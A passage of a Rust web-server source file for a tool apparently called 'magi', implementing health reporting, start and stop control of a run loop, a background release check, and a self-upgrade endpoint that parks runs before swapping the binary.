1724
1725/// What `/api/health` knows about a release newer than this build.
1726///
1727/// A plain `Option<String>` for `to` could not distinguish "checked, and this
1728/// is already the newest" from "never checked" - both are `None` - and the
1729/// phone needs to tell those apart to decide whether the deck can be trusted
1730/// to have an opinion at all.
1731#[derive(Debug, Serialize)]
1732struct UpdateView {
1733    /// A newer release is known to exist.
1734    available: bool,
1735    /// Its tag, when `available`.
1736    to: Option<String>,
1737}
1738
1739/// [`updater::Progress`] as `/api/health` reports it.
1740#[derive(Debug, Serialize)]
1741struct UpgradeProgressView {
1742    stage: updater::Stage,
1743    from: String,
1744    to: Option<String>,
1745    /// What [`updater::Stage::Parking`] is waiting on, in words: the run and
1746    /// the step it is finishing before the address is handed over.
1747    waiting_on: Option<String>,
1748    started_at: Timestamp,
1749    updated_at: Timestamp,
1750    detail: Option<String>,
1751    /// Seconds the stage has outlived its allowance, when it has - see
1752    /// [`updater::stall`]. `null` while the stage is moving normally.
1753    stuck_for_secs: Option<i64>,
1754}
1755
1756/// Whether [`run_update_recheck`] may act at all this tick.
1757///
1758/// The same two conditions [`updater::Checker::new`] and
1759/// [`upgrade_post`] already honour: an operator who wrote `[update] mode =
1760/// "off"`, or who set [`updater::NO_AUTOUPDATE_ENV`], means "never contact
1761/// GitHub from this process" - on a button press or on a timer alike.
1762fn should_spawn_recheck(cfg: &Update) -> bool {
1763    cfg.mode != UpdateMode::Off && !updater::disabled_by_env()
1764}
1765
1766/// Whether this tick should actually reach the network, once checking itself
1767/// is allowed.
1768///
1769/// An upgrade already in flight must not be raced by a check that discovers
1770/// a *newer* release while one is still installing - a phone watching
1771/// `/api/health` would see the answer change out from under the upgrade it
1772/// already asked for. Past that, [`updater::Checker::should_check`] is the
1773/// same throttle the CLI's own notify mode and [`cached_update_view`] rely
1774/// on; deferring to it here, rather than to [`run_update_recheck`]'s own
1775/// polling period, is what keeps this task's network use to at most once per
1776/// `[update] interval` regardless of how often it wakes up.
1777fn update_recheck_due(checker: &updater::Checker, progress: Option<&updater::Progress>) -> bool {
1778    if progress.is_some_and(|p| !p.stage.terminal()) {
1779        return false;
1780    }
1781    checker.should_check()
1782}
1783
1784/// How long [`run_update_recheck`] sleeps before its next wake-up.
1785///
1786/// A fraction of the configured `[update] interval` rather than a fixed
1787/// number: a fixed sleep longer than a short custom interval would leave the
1788/// deck waiting on its own wake-up rather than on `should_check`, so an
1789/// operator who set `interval = "1m"` to make the UI catch up quickly would
1790/// not see that take effect until the next restart - exactly the bug this
1791/// task exists to fix, just moved one level down. Scaling with the interval
1792/// keeps the wake-up prompt relative to what was actually configured, while
1793/// [`update_recheck_due`]'s call to [`updater::Checker::should_check`] is
1794/// still what caps the network calls themselves at one per interval,
1795/// regardless of how often this fires.
1796fn recheck_poll_period(cfg: &Update) -> Duration {
1797    (updater::effective_interval(cfg) / 8).clamp(UPDATE_RECHECK_POLL_MIN, UPDATE_RECHECK_POLL_MAX)
1798}
1799
1800/// Keep `/api/health`'s `update` field current for as long as `magi web`
1801/// stays up.
1802///
1803/// The CLI's own `spawn_update_check` (`main.rs`) runs once per invocation,
1804/// which is enough for every other command: they exit in seconds. `magi web`
1805/// can run for days, so a single startup check leaves the cache - and the
1806/// phone's "Update & restart" button, which reads it via
1807/// [`cached_update_view`] - frozen on whatever that one look found, however
1808/// many releases ship afterwards. This is what notices the rest of them,
1809/// re-reading the config each tick so a `magi.toml` edit while the server is
1810/// up takes effect without a restart, the same way every other route here
1811/// already does - both for whether checking is on at all and for how long
1812/// the next sleep should be.
1813///
1814/// Not [`updater::spawn`]'s `auto_update` path, even under `mode =
1815/// "install"`: swapping the running binary out from under a task or a run
1816/// mid-node is exactly what `hand_over`'s parking exists to do deliberately,
1817/// not as a side effect of a timer nobody asked to fire. This only ever
1818/// calls [`updater::Checker::newer_release`], which refreshes
1819/// `last_update_check.json` and nothing else - so under `mode = "install"`
1820/// this behaves like `notify` for as long as the deck stays up, and an
1821/// actual self-install still happens exactly where it always has: once, at
1822/// the next process start.
1823async fn run_update_recheck(repo: PathBuf, home: PathBuf) {
1824    loop {
1825        let (cfg, _) = Config::discover(&repo, None).unwrap_or_default();
1826        tokio::time::sleep(recheck_poll_period(&cfg.update)).await;
1827        if !should_spawn_recheck(&cfg.update) {
1828            continue;
1829        }
1830        let Some(checker) = updater::Checker::new(&cfg.update) else {
1831            continue;
1832        };
1833        let progress = updater::read_progress(&home);
1834        if !update_recheck_due(&checker, progress.as_ref()) {
1835            continue;
1836        }
1837        if let Err(e) = checker.newer_release().await {
1838            tracing::warn!("background update recheck failed: {e:#}");
1839        }
1840    }
1841}
1842
1843/// [`UpdateView`] from the same throttled, disk-only state
1844/// [`crate::updater::Checker::cached_update`] gives the CLI's `notify` mode -
1845/// never a live check. `[update] mode = "off"` answers "unknown" the same as
1846/// no cached state at all, which is correct: an operator who turned checking
1847/// off gets no opinion, not a stale one.
1848fn cached_update_view(cfg: Option<&Config>) -> UpdateView {
1849    let default;
1850    let cfg = match cfg {
1851        Some(cfg) => cfg,
1852        None => {
1853            default = Config::default();
1854            &default
1855        }
1856    };
1857    let latest = updater::Checker::new(&cfg.update).and_then(|c| c.cached_update());
1858    match latest {
1859        Some(latest) => UpdateView {
1860            available: true,
1861            to: Some(latest.tag_name),
1862        },
1863        None => UpdateView {
1864            available: false,
1865            to: None,
1866        },
1867    }
1868}
1869
1870/// [`updater::Progress`] as `/api/health` reports it, filling in `waiting_on`
1871/// from the parked run's own state when the stage is
1872/// [`updater::Stage::Parking`] - the run and the node it is finishing are
1873/// already on disk in `run.json`, so this reads them fresh rather than
1874/// trusting whatever was true the moment the park was requested.
1875fn upgrade_progress_view(ui: &Ui, progress: updater::Progress) -> UpgradeProgressView {
1876    let waiting_on = (progress.stage == updater::Stage::Parking)
1877        .then_some(progress.parked_run.as_deref())
1878        .flatten()
1879        .and_then(|id| read_run(&ui.runs, id).ok())
1880        .map(|run| {
1881            format!(
1882                "run {} is finishing {} before the address is handed over",
1883                run.short(),
1884                run.status.as_str()
1885            )
1886        });
1887    let detail = progress
1888        .detail
1889        .clone()
1890        .or_else(|| updater::read_note(&ui.home, &progress));
1891    let stalled = updater::stall(&progress, Timestamp::now());
1892    let waiting_on = waiting_on.or_else(|| stalled.as_ref().map(|s| s.waiting_on.clone()));
1893    UpgradeProgressView {
1894        stuck_for_secs: stalled.map(|s| s.age_secs),
1895        stage: progress.stage,
1896        from: progress.from,
1897        to: progress.to,
1898        waiting_on,
1899        started_at: progress.started_at,
1900        updated_at: progress.updated_at,
1901        detail,
1902    }
1903}
1904
1905/// The disk figures `/api/health` carries. Every number is produced by
1906/// [`crate::disk`], the same code that decides a run may not start, so the
1907/// health screen and the gate cannot disagree about what the machine looks
1908/// like.
1909#[derive(Debug, Serialize)]
1910struct DiskView {
1911    /// Free bytes on the volume holding the runs, when measurable.
1912    #[serde(skip_serializing_if = "Option::is_none")]
1913    free_bytes: Option<u64>,
1914    /// Everything the runs directory occupies, unreadable runs included.
1915    runs_bytes: u64,
1916    /// Everything the runs' worktrees occupy.
1917    worktrees_bytes: u64,
1918    /// The shared build cache's size, when the config names one.
1919    #[serde(skip_serializing_if = "Option::is_none")]
1920    cache_bytes: Option<u64>,
1921}
1922
1923impl DiskView {
1924    /// Measure the three directories and re-read the config's cache.
1925    fn of(ui: &Ui, cfg: Option<&Config>) -> Self {
1926        let cache_bytes = cfg
1927            .and_then(|cfg| cfg.cache_dir())
1928            .map(|dir| crate::disk::dir_size(&dir));
1929        Self {
1930            free_bytes: crate::disk::free_bytes(&ui.runs).ok(),
1931            runs_bytes: crate::disk::dir_size(&ui.runs),
1932            worktrees_bytes: crate::disk::dir_size(&ui.worktrees_root),
1933            cache_bytes,
1934        }
1935    }
1936}
1937
1938/// The daemon's state as the UI presents it.
1939#[derive(Debug, Serialize)]
1940struct DaemonView {
1941    running: bool,
1942    idle: Option<bool>,
1943    pid: Option<u32>,
1944    /// Every task and run currently in flight. Empty when idle; more than
1945    /// one entry when `Config::daemon.max_concurrent_runs` has more than one
1946    /// run going at once.
1947    current: Vec<daemon::Current>,
1948    completed: Option<u64>,
1949    stale_for_secs: Option<i64>,
1950}
1951
1952impl DaemonView {
1953    /// Judge a status file. Staleness is [`daemon::Reading::running`]'s call,
1954    /// not this UI's — a crashed daemon must not look alive here while
1955    /// `doctor` calls it dead.
1956    fn of(status: Option<daemon::Reading>) -> Self {
1957        let Some(status) = status else {
1958            return Self {
1959                running: false,
1960                idle: None,
1961                pid: None,
1962                current: Vec::new(),
1963                completed: None,
1964                stale_for_secs: None,
1965            };
1966        };
1967        let now = Timestamp::now();
1968        let age = status.age_secs(now);
1969        Self {
1970            running: status.running(now),
1971            idle: Some(status.idle),
1972            pid: status.pid,
1973            current: status.current,
1974            completed: Some(status.completed),
1975            stale_for_secs: age,
1976        }
1977    }
1978}
1979
1980async fn health(State(ui): State<Arc<Ui>>) -> ApiResult<Json<HealthView>> {
1981    blocking(move || {
1982        // One read of the status file for the two fields that describe it, so
1983        // `daemon` and `loop` in the same answer cannot disagree about who is
1984        // running the loop.
1985        let reading = daemon::read_status(&ui.home);
1986        // Read on its own line, not inside the literal below: the loop's lock
1987        // is not reentrant, and a guard taken as a temporary there would still
1988        // be held when `loop_view` took it again.
1989        let loop_rev = ui.lock_loop().rev;
1990        // One discover for both views: each is a few git processes plus a
1991        // config render, and neither depends on anything the other reads.
1992        let cfg = deputy_config(&ui.repo);
1993        let update = cached_update_view(cfg.as_ref());
1994        let upgrade = updater::read_progress(&ui.home).map(|p| upgrade_progress_view(&ui, p));
1995        Ok(Json(HealthView {
1996            version: env!("CARGO_PKG_VERSION"),
1997            home: ui.home.display().to_string(),
1998            queue_rev: stamps_revision(&store_stamps(ui.queue.root(), false)),
1999            runs_rev: runs_revision(&ui.runs),
2000            questions_rev: ui.questions.revision(),
2001            talks_rev: stamps_revision(&store_stamps(ui.talks.root(), false)),
2002            notifications_rev: ui.notices.revision(),
2003            notifications_unread: ui.notices.count_unread(),
2004            loop_rev,
2005            runs_unreadable: runs_unreadable(&ui.runs),
2006            questions_open: ui.questions.count_open(),
2007            questions_needs_owner: ui.questions.count_needs_owner(),
2008            daemon: DaemonView::of(reading.clone()),
2009            looping: ui.loop_view(reading),
2010            disk: DiskView::of(&ui, cfg.as_ref()),
2011            update,
2012            upgrade,
2013        }))
2014    })
2015    .await
2016}
2017
2018/// What `/api/loop` answers, and what `/api/health` carries as `loop`.
2019#[derive(Debug, Serialize)]
2020struct LoopView {
2021    /// A loop is running in *this* process.
2022    running: bool,
2023    /// It has been asked to stop and is still finishing a run.
2024    ///
2025    /// [`daemon::Stop::finishing`]'s answer rather than "the flag is set",
2026    /// because the two differ exactly where it matters: a loop asked to stop
2027    /// while idle is gone within one poll interval, and one asked to stop
2028    /// mid-run keeps going for as long as the graph takes. The operator needs
2029    /// to be told which of those they are waiting for.
2030    stopping: bool,
2031    /// A park was asked for: the run in flight stops at its next node
2032    /// boundary rather than finishing.
2033    ///
2034    /// Separate from `stopping` because the two promise different waits. A
2035    /// stop is "when this competition ends", which can be an hour; a park is
2036    /// "after the step it is on", which is minutes and is what an operator
2037    /// waiting to replace the binary needs to see.
2038    parking: bool,
2039    /// The loop is this process's own.
2040    ///
2041    /// Spelled separately from `running` for the front end's sake, even
2042    /// though inside this process the two move together: `running: false`
2043    /// with `daemon.running: true` is the case where the operator's own `magi
2044    /// serve` owns the loop, and `owned` is the field that tells the UI its
2045    /// buttons have to explain that rather than pretend.
2046    owned: bool,
2047    /// Repository the loop uses for tasks that name none - what it was
2048    /// started with while it runs, and what a start would use before that.
2049    repo: String,
2050    /// Merge mode override in force, or `null` when each repository's own
2051    /// config decides.
2052    merge: Option<String>,
2053    /// Why the last loop in this process ended, when it ended badly.
2054    ///
2055    /// The only place a crashed loop is visible to someone holding a phone.
2056    /// It is logged at error level as well, but a terminal nobody kept open
2057    /// is not a report, and a loop that died at 3am must not read as merely
2058    /// stopped in the morning. Named as [`Task::last_error`] is, because it
2059    /// answers the same question about the same kind of failure.
2060    last_error: Option<String>,
2061    /// The status file, judged the same way `/api/health` judges it: this is
2062    /// what says whether a loop is alive in some *other* process.
2063    daemon: DaemonView,
2064}
2065
2066/// A loop another process already owns.
2067///
2068/// `<home>/daemon.json` is the only cross-process signal there is, so this is
2069/// the whole of the test: a heartbeat no older than [`daemon::STALE_SECS`],
2070/// published by a pid that is not ours. Excluding our own pid is what makes
2071/// stopping work at all - the loop this process runs writes that file too, so
2072/// a check that ignored the pid would decide the operator's own UI was a
2073/// stranger and refuse to stop the loop it had just started.
2074#[derive(Debug, Clone, Copy)]
2075struct Foreign {
2076    /// The pid the other process published, when it published one.
2077    pid: Option<u32>,
2078}
2079
2080impl Foreign {
2081    /// Another process's live loop, or `None` when this process is free to
2082    /// run one.
2083    fn of(reading: Option<&daemon::Reading>) -> Option<Self> {
2084        // A fresh heartbeat with no pid in it is still evidence of a live
2085        // daemon. "Some other process" is the honest answer, and refusing
2086        // to start beside it is the safe one.
2087        daemon::foreign_loop(reading, Timestamp::now(), std::process::id()).map(|pid| Self { pid })
2088    }
2089
2090    /// How a conflict names it. The pid is the whole point of the message: it
2091    /// is what the operator needs to find the terminal that owns the loop.
2092    fn who(&self) -> String {
2093        match self.pid {
2094            Some(pid) => format!("another magi process (pid {pid})"),
2095            None => "another magi process".to_owned(),
2096        }
2097    }
2098}
2099
2100/// How a loop is started, as a future this module can hold onto.
2101///
2102/// A plain function pointer, so [`Ui`] stays `Debug` and `Clone` without a
2103/// trait object or a hand-written `Debug` impl for the sake of one seam.
2104type Launch = fn(daemon::Opts, daemon::Stop) -> Pin<Box<dyn Future<Output = Result<()>> + Send>>;
2105
2106/// The real loop: [`daemon::serve_until`], boxed to fit [`Launch`].
2107fn launch_daemon(
2108    opts: daemon::Opts,
2109    stop: daemon::Stop,
2110) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
2111    Box::pin(daemon::serve_until(opts, stop))
2112}
2113
2114/// The loop this process runs, behind one lock.
2115#[derive(Debug, Default)]
2116struct LoopState {
2117    /// The loop, while there is one.
2118    live: Option<Live>,
2119    /// Bumped on every change to this struct, and streamed as `loop_rev`.
2120    ///
2121    /// The loop is in-process state rather than a file, so nothing on disk
2122    /// would tell a second phone that the first one started it. Without this
2123    /// counter the only way to learn about a start, a stop request or a crash
2124    /// would be to poll `/api/loop`, which is the thing the change stream
2125    /// exists to avoid on a mobile link.
2126    rev: u64,
2127    /// Why the last loop ended, when it ended badly. See
2128    /// [`LoopView::last_error`].
2129    last_error: Option<String>,
2130    /// The loop was running (and not already stopping) when the last upgrade
2131    /// parked it, so the successor should start one. Set afresh by every
2132    /// [`Ui::park_for_upgrade`], cleared by an explicit stop and by a failed
2133    /// update.
2134    resume_after_handover: bool,
2135}
2136
2137/// A loop in flight.
2138#[derive(Debug)]
2139struct Live {
2140    /// The cooperative stop, shared with the loop task.
2141    stop: daemon::Stop,
2142    /// The task itself, kept only to answer whether it is still there: a loop
2143    /// that panicked never records its own end, and without this the view
2144    /// would go on reporting a loop that no longer exists - the one lie that
2145    /// would leave the operator with no button to press.
2146    handle: tokio::task::JoinHandle<()>,
2147    /// What the loop was started with, so the view reports the repository and
2148    /// merge mode its runs will actually use rather than what an edit to the
2149    /// config since would give.
2150    opts: daemon::Opts,
2151}
2152
2153impl Live {
2154    /// Is the task still there? See [`Live::handle`].
2155    fn alive(&self) -> bool {
2156        !self.handle.is_finished()
2157    }
2158}
2159
2160/// Take the loop lock, recovering from a poisoned one.
2161///
2162/// What this mutex holds is a stop flag, a task handle and two counters, none
2163/// of which a panic elsewhere can leave in a state worth refusing to read.
2164/// Propagating the poison instead would mean an operator who can see the loop
2165/// running and can no longer stop it from the only surface they have.
2166fn lock_or_recover(state: &Mutex<LoopState>) -> MutexGuard<'_, LoopState> {
2167    state.lock().unwrap_or_else(PoisonError::into_inner)
2168}
2169
2170/// `GET /api/loop`.
2171async fn loop_get(State(ui): State<Arc<Ui>>) -> ApiResult<Json<LoopView>> {
2172    blocking(move || {
2173        let reading = daemon::read_status(&ui.home);
2174        Ok(Json(ui.loop_view(reading)))
2175    })
2176    .await
2177}
2178
2179/// The body of `POST /api/loop`.
2180///
2181/// One required field and nothing else: no `default` and no unknown fields,
2182/// so a body that fails to say which way the switch was flipped is a 400
2183/// rather than a tap that quietly does the opposite of what was pressed.
2184#[derive(Debug, Deserialize)]
2185#[serde(deny_unknown_fields)]
2186struct LoopCommand {
2187    running: bool,
2188    /// Stop the run in flight at its next node boundary rather than letting it
2189    /// finish.
2190    ///
2191    /// Defaults to false, so the plain stop keeps meaning what it meant: a
2192    /// competition is tens of minutes of paid work and finishing it is
2193    /// normally the cheapest thing to do. A park is for the operator who
2194    /// wants the process gone now - to replace the binary, most of all - and
2195    /// it costs at most the node in progress because every node writes its
2196    /// state before the next one starts.
2197    #[serde(default)]
2198    park: bool,
2199}
2200
2201/// `POST /api/loop` - start the loop in this process, or ask it to stop.
2202///
2203/// Answers with the view rather than waiting for the loop to reach the state
2204/// that was asked for. Starting is immediate anyway; stopping is not, and the
2205/// wait is a run's worth of minutes, which is not a thing to hold a phone's
2206/// request open for. `stopping` in the answer is what the operator watches
2207/// instead.
2208async fn loop_post(
2209    State(ui): State<Arc<Ui>>,
2210    body: std::result::Result<Json<LoopCommand>, JsonRejection>,
2211) -> ApiResult<Json<LoopView>> {
2212    // Taken as a `Result` so a malformed body is a 400 like every other route
2213    // here, rather than axum's default 422 that the UI has no branch for.
2214    let Json(body) = body.map_err(|e| ApiError::bad_request(e.body_text()))?;
2215    blocking(move || {
2216        let reading = daemon::read_status(&ui.home);
2217        let foreign = Foreign::of(reading.as_ref());
2218        if body.running {
2219            ui.start_loop(foreign)?;
2220        } else {
2221            ui.stop_loop(foreign, body.park)?;
2222        }
2223        Ok(Json(ui.loop_view(reading)))
2224    })
2225    .await
2226}
2227
2228/// What `POST /api/upgrade` set in motion.
2229#[derive(Debug, Serialize)]
2230struct UpgradeView {
2231    /// The version this process is running.
2232    from: String,
2233    /// The release it is replacing itself with, when there is one.
2234    to: Option<String>,
2235    /// A run was parked first, and this is its id.
2236    parked: Option<String>,
2237    /// What the operator should expect to happen next.
2238    detail: String,
2239}
2240
2241/// `POST /api/upgrade` - replace this binary with the newest release and come
2242/// back on it.
2243///
2244/// The one thing the deck could not do for itself. Every fix landed today
2245/// either waited for a competition to end or went in with the deck stopped,
2246/// because `cargo install` cannot overwrite a running executable on Windows.
2247/// `kaishin` can: `self_replace` **renames** the running image aside and puts
2248/// the new one in its place, so the swap itself needs no downtime. Only the
2249/// restart does, and the order is the whole design:
2250///
2251/// 1. **Park.** A run in flight stops at its next node boundary and stays
2252///    resumable, so this costs at most the node in progress rather than the
2253///    competition. Without it the honest choices were waiting an hour or
2254///    discarding paid agent work.
2255/// 2. **Replace.** The new binary goes into place while this one still runs.
2256/// 3. **Hand over.** [`serve`] drops the listener, *then* spawns the
2257///    successor - see [`spawn_successor`] for what happens in the other
2258///    order.
2259/// 4. **Resume.** The next loop carries the parked run on rather than
2260///    competing again; see `daemon::attempt`.
2261///
2262/// Answers **202**: the reply has to reach the phone while this process can
2263/// still send one, and the phone learns the deck is back by reconnecting.
2264async fn upgrade_post(State(ui): State<Arc<Ui>>) -> ApiResult<(StatusCode, Json<UpgradeView>)> {
2265    let reading = daemon::read_status(&ui.home);
2266    if let Some(other) = Foreign::of(reading.as_ref()) {
2267        return Err(ApiError::conflict(format!(
2268            "the loop belongs to {}, so replacing this binary would leave \
2269             that process running an old one against the same queue. Upgrade \
2270             where it was started.",
2271            other.who()
2272        )));
2273    }
2274
2275    // The same kill switch the background check honours (`disabled_by_env`),
2276    // checked before anything else for the same reason it is read before the
2277    // config there: an operator who set `MAGI_NO_AUTOUPDATE` means "never
2278    // contact GitHub from this process", and a button press must not
2279    // override that any more than a broken `magi.toml` may.
2280    if crate::updater::disabled_by_env() {
2281        return Ok((
2282            StatusCode::OK,
2283            Json(UpgradeView {
2284                from: env!("CARGO_PKG_VERSION").to_owned(),
2285                to: None,
2286                parked: None,
2287                detail: format!(
2288                    "Automatic updates are disabled by {}. Nothing was parked \
2289                     and nothing restarted.",
2290                    crate::updater::NO_AUTOUPDATE_ENV
2291                ),
2292            }),
2293        ));
2294    }
2295
2296    // Asked before anything is disturbed. Restarting when there is nothing
2297    // to install is not a harmless no-op: it parks the run in flight and
2298    // drops every connection to pay for an upgrade that did not happen. A
2299    // probe against a deck already on the newest build did exactly that.
2300    let (cfg, _) = Config::discover(&ui.repo, None).unwrap_or_default();
2301    let from = env!("CARGO_PKG_VERSION").to_owned();
2302    let latest = match crate::updater::Checker::new(&cfg.update) {
2303        Some(checker) => checker
2304            .newer_release()
2305            .await
2306            .map_err(|e| ApiError::internal(format!("check for a release: {e:#}")))?,
2307        None => None,
2308    };
2309    let Some(latest) = latest else {
2310        return Ok((
2311            StatusCode::OK,
2312            Json(UpgradeView {
2313                from,
2314                to: None,
2315                parked: None,
2316                detail: "Already on the newest release. Nothing was parked \
2317                         and nothing restarted."
2318                    .to_owned(),
2319            }),
2320        ));
2321    };
2322
2323    // Parked before anything is replaced: a successor that came up while a
2324    // run was mid-node would find a run nobody is driving.
2325    let parked = ui.park_for_upgrade()?;
2326    let detail = match &parked {
2327        // Honest about the wait. A park takes effect at the *next* node
2328        // boundary, so a run mid-implement finishes that wave first - up to
2329        // `timeout_implement`, an hour by default. Saying "restarting now"
2330        // would make the deck look wedged for the rest of it.
2331        Some(run) => format!(
2332            "Run {} is parking at its next step, which can take as long as \
2333             the step it is on - up to an hour for an implement wave. The \
2334             deck replaces itself once it parks, comes back, and the loop \
2335             carries that run on from where it stopped. Nothing is lost if \
2336             you close this.",
2337            crate::run::short_of(run)
2338        ),
2339        None => "The deck replaces itself and comes back. Nothing was in \
2340                 flight to park."
2341            .to_owned(),
2342    };
2343
2344    // Recorded before the spawn, not inside it: the phone's next `/api/health`
2345    // poll must see a `Downloading` stage immediately, not whenever the
2346    // spawned task happens to get scheduled.
2347    let mut progress = updater::Progress::new(from.clone(), latest.tag_name.clone());
2348    progress.parked_run = parked.clone();
2349    let _ = updater::write_progress(&ui.home, &progress);
2350
2351    let home = ui.home.clone();
2352    let looping = ui.looping();
2353    tokio::spawn(async move {
2354        if let Err(e) = upgrade_and_restart(home.clone()).await {
2355            tracing::error!("the upgrade did not complete: {e:#}");
2356            lock_or_recover(&looping).resume_after_handover = false;
2357            if let Some(mut progress) = updater::read_progress(&home) {
2358                progress.fail(format!("{e:#}"));
2359                let _ = updater::write_progress(&home, &progress);
2360            }
2361        }
2362    });
2363
2364    Ok((
2365        StatusCode::ACCEPTED,
2366        Json(UpgradeView {
2367            from,
2368            to: Some(latest.tag_name),
2369            parked,
2370            detail,
2371        }),
2372    ))
2373}
2374
2375/// Replace the binary, then ask [`serve`] to hand the address over.
2376///
2377/// Separated from the handler so the 202 is already on its way, and separated
2378/// from the spawn so the successor starts only after the listener is dropped.
2379async fn upgrade_and_restart(home: PathBuf) -> Result<()> {
2380    // `yes` and non-interactive: nobody is at a terminal, and a prompt would
2381    // hang the upgrade for as long as the process lives.
2382    crate::updater::run_self_update(true, false, true).await?;
2383    updater::log_step(&home, "binary replaced - recording the replaced stage");
2384    if let Some(mut progress) = updater::read_progress(&home) {
2385        progress.advance(updater::Stage::Replaced);
2386        updater::write_progress_logged(&home, &progress);
2387    }
2388    updater::log_step(&home, "upgrade_and_restart: signalling HANDOVER");
2389    HANDOVER.notify_one();
2390    updater::log_step(&home, "upgrade_and_restart: HANDOVER signalled");
2391    Ok(())
2392}
2393
2394/// One row in the run list.
2395///
2396/// The list route returns this rather than whole `RunState`s: the summary of a
2397/// run is a few hundred bytes and the state is megabytes, and the difference
2398/// is what makes the history usable on a mobile link.
2399#[derive(Debug, Serialize)]
2400struct RunSummary {
2401    id: String,
2402    short: String,
2403    status: String,
2404    done: bool,
2405    instruction: String,
2406    title: String,
2407    repo: String,
2408    repo_name: String,
2409    created_at: String,
2410    updated_at: String,
2411    candidates: usize,
2412    viable: usize,
2413    judges: usize,
2414    winner: Option<char>,
2415    reviews: usize,
2416    quota_losses: usize,
2417    event: Option<String>,
2418    /// The later attempt at the same task that replaced this one, if any.
2419    ///
2420    /// Two cards with one title is otherwise unreadable: this is what lets
2421    /// the deck say "superseded by 4043" on the older of the pair.
2422    superseded_by: Option<String>,
2423    /// Blocked on a question nobody has answered.
2424    ///
2425    /// Derived from the question store rather than stored on the run: an agent
2426    /// calling `magi ask` blocks mid-node, and writing a status from there
2427    /// would race the graph's own save of `run.json` and be overwritten at the
2428    /// next node boundary. Asking the store is always true and never races.
2429    waiting: bool,
2430    /// Whether the process recorded as driving this run can still be proven
2431    /// alive. The card uses a confirmed-dead non-terminal run as `stale`,
2432    /// rather than presenting its last graph node as still in flight.
2433    live: crate::run::Liveness,
2434    /// The land loop's last look at the pull request, when there is one.
2435    pr: Option<crate::run::PrRecord>,
2436    /// `status` is `"ready"`, but `[merge] mode = "none"` left it there by
2437    /// design — never picked up by the PR-polling merge watcher, unlike an
2438    /// ordinary `Ready` that may still be a live landing candidate. See
2439    /// [`RunState::unmerged_by_design`]. The front end reads this rather than
2440    /// re-deriving the same check from `status` and `merge.mode` itself.
2441    unmerged_by_design: bool,
2442    /// Who started the run, as the one label every surface shares; the
2443    /// "origin unknown" wording when the record predates origins.
2444    origin_label: String,
2445}
2446
2447impl RunSummary {
2448    fn of(state: &RunState, waiting: bool, live: crate::run::Liveness) -> Self {
2449        Self {
2450            id: state.id.clone(),
2451            short: state.short().to_owned(),
2452            status: status_word(state.status),
2453            done: state.status.done(),
2454            unmerged_by_design: state.unmerged_by_design(),
2455            instruction: state.instruction.clone(),
2456            title: title_from(&state.instruction, TITLE_MAX),
2457            repo: state.repo.display().to_string(),
2458            repo_name: state
2459                .repo
2460                .file_name()
2461                .map(|n| n.to_string_lossy().into_owned())
2462                .unwrap_or_default(),
2463            created_at: state.created_at.to_string(),
2464            updated_at: state.updated_at.to_string(),
2465            candidates: state.candidates.len(),
2466            viable: state.viable().len(),
2467            judges: state.config.graph.judges,
2468            winner: state.winner().map(|c| c.label),
2469            reviews: state.reviews.len(),
2470            quota_losses: state.quota.len(),
2471            event: state.events.last().map(|e| e.message.clone()),
2472            waiting,
2473            live,
2474            // Filled in by the list route, which is the only place that can
2475            // see a task's other attempts.
2476            superseded_by: None,
2477            pr: state.pr.clone(),
2478            origin_label: crate::run::origin_label(state.origin.as_ref()),
2479        }
2480    }
2481}
2482
2483/// `RunStatus` as the wire spells it. Every variant is one word, so this is
2484/// the same string `serde` writes for the status inside a full run.
2485fn status_word(status: RunStatus) -> String {
2486    // `RunStatus::as_str` rather than lowercasing the `Debug` spelling: this
2487    // was a third way of naming the same statuses, and one that changed
2488    // silently with a derive.
2489    status.as_str().to_owned()
2490}
2491
2492/// `?limit=`, clamped by the handler.
2493#[derive(Debug, Deserialize)]
2494struct ListQuery {
2495    #[serde(default)]
2496    limit: Option<usize>,
2497    /// Exact ids only; an empty value requests no rows (except queue blockers).
2498    ids: Option<String>,
2499}
2500
2501impl ListQuery {
2502    fn contains(&self, id: &str) -> bool {
2503        self.ids
2504            .as_ref()
2505            .is_none_or(|ids| ids.split(',').any(|wanted| wanted == id))
2506    }
2507}
2508
2509async fn runs_list(
2510    State(ui): State<Arc<Ui>>,
2511    Query(q): Query<ListQuery>,
2512) -> ApiResult<Json<Vec<RunSummary>>> {
2513    let limit = q.limit.unwrap_or(LIST_DEFAULT).min(LIST_MAX);
2514    blocking(move || {
2515        let (open_runs, claimed, superseded) = run_row_inputs(&ui);
2516        let states = run_ids(&ui.runs)
2517            .into_iter()
2518            // A run whose state cannot be read is skipped, not fatal: a run
2519            // killed mid-write must not blank the history of every other one.
2520            // The detail route still explains it, which is where an operator
2521            // asking "what happened to that run" ends up.
2522            .filter_map(|id| read_run(&ui.runs, &id).ok())
2523            .take(limit)
2524            .filter(|run| q.contains(&run.id));
2525        let probe = std::cell::RefCell::new(crate::proc::ProcProbe::real());
2526        let summaries = summarize(
2527            states,
2528            &open_runs,
2529            &claimed,
2530            &superseded,
2531            |p| probe.borrow_mut().status(p),
2532            |p| probe.borrow_mut().started_at(p),
2533        );
2534        Ok(Json(summaries))
2535    })
2536    .await
2537}
2538
2539/// Everything the per-run rows share, read once: runs with an open question,
2540/// runs a live daemon claims, and the superseded map. Asking per run re-read
2541/// every question file and the daemon status file for each of hundreds of
2542/// runs, and spawned a process probe per run on Windows.
2543fn run_row_inputs(ui: &Ui) -> (HashSet<String>, HashSet<String>, HashMap<String, String>) {
2544    let open_runs: HashSet<String> = ui
2545        .questions
2546        .list()
2547        .into_iter()
2548        .filter(|q| q.status.open())
2549        .map(|q| q.run)
2550        .collect();
2551    let claimed: HashSet<String> = crate::daemon::current_work(&ui.home, jiff::Timestamp::now())
2552        .into_iter()
2553        .map(|c| c.run)
2554        .collect();
2555    (open_runs, claimed, ui.queue.superseded())
2556}
2557
2558/// The rows of the run list, given everything that is shared between them.
2559///
2560/// Pure over its inputs so a test can count how often the process queries are
2561/// asked; `status_q` / `identity_q` are the queries [`RunState::liveness_with`]
2562/// takes, called at most once per run.
2563fn summarize<I, S, D>(
2564    states: I,
2565    open_runs: &HashSet<String>,
2566    claimed: &HashSet<String>,
2567    superseded: &HashMap<String, String>,
2568    mut status_q: S,
2569    mut identity_q: D,
2570) -> Vec<RunSummary>
2571where
2572    I: IntoIterator<Item = RunState>,
2573    S: FnMut(u32) -> Option<bool>,
2574    D: FnMut(u32) -> Option<String>,
2575{
2576    states
2577        .into_iter()
2578        .map(|state| {
2579            let waiting = open_runs.contains(&state.id);
2580            let live =
